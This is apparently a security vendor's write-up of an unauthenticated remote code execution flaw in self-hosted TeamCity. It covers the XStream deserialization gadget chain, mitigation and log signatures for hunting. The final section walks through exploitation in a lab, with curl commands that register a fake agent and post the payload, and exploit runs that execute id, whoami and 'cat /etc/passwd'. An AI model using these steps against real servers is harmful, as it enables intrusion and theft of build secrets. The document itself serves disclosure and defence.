CVE-2026-63077 : JetBrains TeamCity On-Premises - Unauthenticated Remote Code Execution via Agent Polling Deserialization - Safe Security

CVE-2026-63077 : JetBrains TeamCity On-Premises – Unauthenticated Remote Code Execution via Agent Polling Deserialization

Oct 6, 2026 9 minute read

1. Introduction

This document illustrates an unauthenticated Remote Code Execution (RCE) vulnerability in JetBrains TeamCity On-Premises – the widely deployed commercial Continuous Integration and Continuous Delivery (CI/CD) server utilized by software teams, enterprises and build infrastructure worldwide.

The flaw lets an unauthenticated network visitor execute arbitrary operating system commands as the TeamCity server process by registering a fake build agent and posting a crafted object graph to the agent polling protocol. Tracked as CVE-2026-63077 with a CVSS v3.1 base score of 9.8 CRITICAL, the vulnerability was added to the CISA Known Exploited Vulnerabilities (KEV) catalog on 5 August 2026, with active in-the-wild exploitation confirmed.

2. TeamCity Description

TeamCity is a commercial Continuous Integration and Continuous Delivery (CI/CD) server developed by JetBrains, providing build orchestration, test automation, artifact management and deployment pipelines through a central server plus distributed build agents. It is available as a self-hosted On-Premises installation and as a managed Cloud offering, and its deep access to source code, credentials and release artifacts makes it a cornerstone of enterprise software supply chains. All TeamCity On-Premises versions before 2025.11.7 and 2026.1.3 are in scope of this vulnerability.

3. Vulnerability Severity

CVE ID CVE-2026-63077 (JetBrains TeamCity)
Severity CRITICAL
CVSS Score 9.8 / 10
CVSS Vector CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CWE CWE-502 – Deserialization of Untrusted Data
Vendor Advisory JetBrains advisory 27 Jul 2026
Fixed Versions TeamCity 2025.11.7 / 2026.1.3
Published July 27, 2026

Additional context: CWE-502 (Deserialization of Untrusted Data), EPSS 0.09763 (percentile 0.95363), CISA KEV added 2026-08-05 with federal remediation per BOD 22-01.

4. Scope of Impact

  • All JetBrains TeamCity On-Premises versions before 2025.11.7 and before 2026.1.3 are affected – every supported On-Premises release line at the time of disclosure.
  • The vulnerability is fixed in 2025.11.7 and 2026.1.3, released 27 July 2026, with a security patch plugin available for 2017.1 and later for servers that cannot upgrade immediately.
  • Exploitation requires only HTTP(S) reachability to the TeamCity server port (8111 by default) – no credentials, no user interaction, no agent pre-registration.
  • TeamCity Cloud tenants are not affected; only self-hosted On-Premises servers reachable over the network are exploitable.

5. Where is the vulnerability present?

The vulnerability is present in TeamCity’s agent polling protocol, served under /app/agents/v1 – the channel build agents use to register, poll for jobs and report results.

Two endpoints combine into the exploit: POST /app/agents/v1/register, which issues a TeamCity-AgentSessionId to anyone presenting well-formed agent XML, and POST /app/agents/v1/commands/error, which deserializes the request body with XStream before checking any authentication beyond that self-issued session header.

The flaw exists because TeamCity’s XStream wrapper configures its allowlist incorrectly. XStreamHolder.setupSecurityIfNeeded() appends the TeamCity protocol classes on top of XStream’s built-in defaults without first clearing them with NoTypePermission.NONE. The defaults – Map, Collection, Map.Entry and Throwable hierarchies – therefore remain in effect alongside the allowlist, and because hierarchy permissions cover every implementation and subclass, the deserializer accepts LinkedHashMap, HashSet, FreeMarker’s HashAdapter and any RuntimeException subclass from unauthenticated input. The patch inserts a single deny-by-default call before the allowlist so only explicitly approved classes deserialize.

That permissive baseline enables a gadget chain that never names its dangerous class directly. The payload opens with HSQLMetadataStorage$SchemaMismatchException, accepted as a Throwable, and follows its compiler-generated outer-class reference through exact declared fields (myHSQLStorage, then myDataSource) to an attacker-configured BasicDataSource – no explicit type lookup occurs for the intermediate fields, so the denied class is reached silently. A FreeMarker HashAdapter exposes the datasource’s bean properties, and a TiedMapEntry(key=connection) placed inside a HashSet forces an automatic get(“connection”) lookup during deserialization, which invokes BasicDataSource.getConnection(). That call opens an in-memory HSQLDB database and executes attacker SQL, ending with HSQLDB’s SCRIPT command writing a polyglot SQL/JavaServer Pages (JSP) file into the webroot. The file uses the .jspws extension, which TeamCity maps directly to the Jasper JSP engine – ordinary .jsp requests are gated by authentication checks, but .jspws compiles and runs anonymously.

6. Risk

The immediate capability is arbitrary command execution as the TeamCity server operating-system account with a single unauthenticated HTTP exchange plus one trigger request. An adversary needs only network reachability to the web port and the ability to POST XML – registration, gadget delivery and payload triggering complete in seconds, and the dropped server-side script deletes itself on first access, complicating casual detection.

From that foothold, the attacker reaches everything the build server holds. Because TeamCity orchestrates compilation, testing, signing and deployment, compromise exposes stored credentials, tokens and connection details for build and deployment jobs, source code and build configurations, produced artifacts and the integrity of every pipeline the server controls. The vendor advisory notes that successful exploitation can expose TeamCity data and configurations and compromise CI/CD pipeline integrity, with downstream software-supply-chain impact on anything the server builds or deploys.

The impact on the confidentiality, integrity and availability triad is total: arbitrary read defeats confidentiality of secrets and source; arbitrary command execution as the service account defeats integrity of builds, artifacts and credentials; and the adversary can disrupt, ransom or weaponize the release process at will. In-the-wild activity confirms the practical severity – CISA’s KEV inclusion on 5 August 2026, JetBrains’ 7 August 2026 confirmation of successful exploitation attempts, and a 24 August 2026 national cyber-centre alert for active exploitation of development platforms all signal sustained adversary adoption, consistent with TeamCity’s history as a target of ransomware and state-sponsored actors.

7. Mitigation

  • Upgrade to TeamCity 2025.11.7 or 2026.1.3 (or later) – the fix makes the XStream allowlist deny-by-default (NoTypePermission.NONE before the TeamCity entries). This is the only complete fix.
  • Fixed builds: https://www.jetbrains.com/teamcity/download/other.html (On-Premises 2025.11.7 / 2026.1.3, released 27 July 2026).
  • Apply the JetBrains security patch plugin (compatible with TeamCity 2017.1 and later) where an immediate upgrade is impossible – a partial mitigation that addresses only CVE-2026-63077; plan a full upgrade to receive other security fixes.
  • Restrict network access to the TeamCity server (remove internet-facing exposure, limit to trusted networks, require VPN or access-control gateway) until patched – a stopgap that does not remove persistence already established.
  • Run the TeamCity server process with minimum operating-system privileges on a dedicated host separate from build agents, per vendor hardening guidance.
  • Hunt for prior compromise if patching lagged disclosure: review teamcity-server.log for com.thoughtworks.xstream.converters.ConversionException with the BasicDataSource wrapped into f.e.b.BooleanModel cause (vulnerable-server exploit signal) and for com.thoughtworks.xstream.security.ForbiddenClassException naming HSQLMetadataStorage$SchemaMismatchException (blocked attempt on patched servers); review the unauthorized-agents list for unexpected entries (notably names beginning with scan); correlate with firewall logs; rotate all credentials, tokens and signing keys accessible to the server if compromise cannot be ruled out.
  • Note: patching closes the entry point but does not evict an adversary who already gained access – delayed patchers should treat the environment as potentially compromised and engage incident response.

8. Exploit Implementation

Attack Scenario

The exploitation demo runs against a Docker-based Linux lab on http://localhost:8111 hosting jetbrains/teamcity-server:2026.1.2 (in-range for CVE-2026-63077) with the stock configuration and no credentials of any kind. Docker is already running; the demo starts from confirming the target is reachable. Every action below executes as an anonymous internet caller with zero prior credentials.

Prerequisites:

  • Docker / Docker Compose (lab already running)
  • nuclei with the official ProjectDiscovery template http/cves/2026/CVE-2026-63077.yaml
  • Python 3.7+ (stdlib only – no pip) for exploit.py
  • curl for direct HTTP requests
  • Lab folder: /Users/nishchaymanhas/Documents/Blogs_CVE/CVE-2026-63077

Exploitation

1. Confirm the vulnerable TeamCity instance is accessible.

cd /Users/nishchaymanhas/Documents/Blogs_CVE/CVE-2026-63077
curl -s -o /dev/null -w “login.html: %{http_code}\n” http://localhost:8111/login.html
curl -s http://localhost:8111/login.html | grep -oi -m2 “teamcity” | head -2

CVE-2026-63077 , best CTEM Platform

The login page renders with TeamCity branding and the probe returns HTTP 200 (503 means the server is still initializing – wait and retry). This confirms the network path the unauthenticated chain needs.

2. Run the official Nuclei template to confirm the vulnerability end-to-end.

nuclei -t nuclei-templates/CVE-2026-63077.yaml -u http://localhost:8111 -v

CVE-2026-63077, CTEM, Best CTEM Platform

The template performs the full intrusive chain – registers an agent, posts the XStream gadget writing an arithmetic-canary JSPWS, and retrieves it. The match line [CVE-2026-63077] [http] [critical] with the PD-TP-CONFIRMED body confirms unauthenticated code execution without running any OS command.

3. Pre-auth entry – register a fake agent and capture the session ID (one block).

SESS=$(curl -s -D – -o /dev/null -X POST “http://localhost:8111/app/agents/v1/register” \
  -H “Content-Type: application/xml” \
  –data-binary ‘<agentDetails agentName=”poc” agentAddress=”127.0.0.1″ agentPort=”9090″ authToken=”poc”><alternativeAddresses/><availableRunners/><availableVcs/><buildParameters/><configParameters/></agentDetails>’ \
  | grep -i ‘^TeamCity-AgentSessionId:’ | tr -d ‘\r’ | awk ‘{print $2}’)
echo “session: ${SESS}“

CVE-2026-63077 , CTEM

No credentials were sent – the server issues a TeamCity-AgentSessionId to anyone posting well-formed agent XML. That self-issued value alone authorizes the deserialization sink in the next step.

4. Trigger the deserialization sink with the XStream gadget (expect HTTP 500).

python3 exploit.py –url http://localhost:8111 –cmd id –dump-payload /tmp/payload.xml
curl -s -o /dev/null -w “error endpoint: %{http_code}\n” -X POST “http://localhost:8111/app/agents/v1/commands/error” \
  -H “Content-Type: application/xml” \
  -H “TeamCity-AgentSessionId: ${SESS}“ -H “TeamCity-AgentCommandId: 123456” \
  –data-binary @/tmp/payload.xml

CVE-2026-63077 , Best CTEM platform

HTTP 500 is the success signal here – the gadget fires while the server deserializes the XML, BasicDataSource.getConnection() runs the HSQLDB SCRIPT statement, and the polyglot JSPWS lands in ../webapps/ROOT. A ForbiddenClassException body instead means the target is patched.

5. Verify impact – execute id as the TeamCity server user with the one-shot script.

python3 exploit.py –url http://localhost:8111 –cmd id

CVE-2026-63077 Best CTEM platform. CTEM

The script repeats the full chain with a fresh agent identity – register, gadget, JSPWS retrieval – printing each stage as it fires. The uid= line proves arbitrary command execution as the TeamCity server account, returned in-band in the JSPWS HTTP response with no outbound connection.

6. Second command – confirm interactive control with user and host details.

python3 exploit.py –url http://localhost:8111 –cmd “whoami; id; hostname”

CVE-2026-63077. Best CTEM Platform

A second distinct command with fresh random names rules out caching and shows the primitive is a general shell, not a one-shot canary – each run writes a new self-deleting JSPWS.

7. Arbitrary file read – server account data via the same channel.

python3 exploit.py –url http://localhost:8111 –cmd “cat /etc/passwd” | tail -15

CVE-2026-63077-best CTEM Platform

The server’s account database comes back through the JSPWS response body – the same primitive reaches build secrets, stored credentials, environment variables and every repository the service account can read.

See how SAFE transforms your CTEM Unified exposure visibility, AI-driven prioritization, and quantified risk in business terms. Built for enterprise scale.